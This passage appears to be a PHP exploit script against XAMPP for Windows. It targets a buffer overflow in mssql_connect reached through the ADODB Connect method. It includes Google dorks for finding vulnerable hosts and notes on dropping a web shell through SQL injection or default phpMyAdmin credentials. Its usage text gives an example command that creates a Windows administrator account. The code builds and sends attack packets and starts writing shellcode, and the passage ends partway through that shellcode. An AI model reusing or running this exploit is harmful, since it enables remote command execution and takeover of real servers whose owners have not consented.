DBServer: $_POST[dbserver]

"; $result = $db->Execute("SELECT * FROM $_POST[table]"); ... mssql_connect() function is vulnerable to buffer overflow and the host argument is totally unchecked. Also this shows a vulnerabilty in ADODB library (which is in the include path, inside PEAR folder) in the Connect method . If you say that this should be not used for production purpose or exposed to the outside world, try theese google dorks: intitle:XAMPP intitle:windows intitle:version intitle:XAMPP intitle:version intitle:1.6.0a +windows note: I could use the INTO OUTFILE method through sql injection to export some shell inside the /htdocs folder because we have FILE privilege, but we have magic_quotes_gpc on here. This is instead possbile through the PhpMyAdmin default user/password. note ii: PHP version is 5.2.1 note iii: bof is possible because mssql extension is enabled by default in php.ini */ if ($argc<2) { print_r(' --------------------------------------------------------------------------- Usage: php '.$argv[0].' host cmd OPTIONS host: target server (ip/hostname) cmd: a shell command Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy -S only send the second packet Example: php '.$argv[0].' localhost VER -P1.1.1.1:80 php '.$argv[0].' localhost NET USER sun tzu /ADD ^&^& NET LOCALGROUP Administrators /ADD sun -p81 -S --------------------------------------------------------------------------- '); die; } error_reporting(7); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet,$want_out) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],(int)$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($want_out){ if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } } fclose($ock); } $host=$argv[1]; $port=80; $proxy=""; $cmd=""; $send_bof=true; for ($i=2; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P") and ($temp<>"-S") ){ $cmd.=" ".$argv[$i]; } if ($temp=="-p") { $port=(int)str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-S") { $send_bof=false; } } if ($proxy=='') {$p="";} else {$p='http://'.$host.':'.$port;} //bad chars -> \x00,\x22,\x27,\x5c thoose affected by magic_quotes_gpc //102 bytes execute command one by me... //cmd.exe /c echo ^ > ./htdocs/xampp/s.php & if ($send_bof){ $____scode= "\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53".
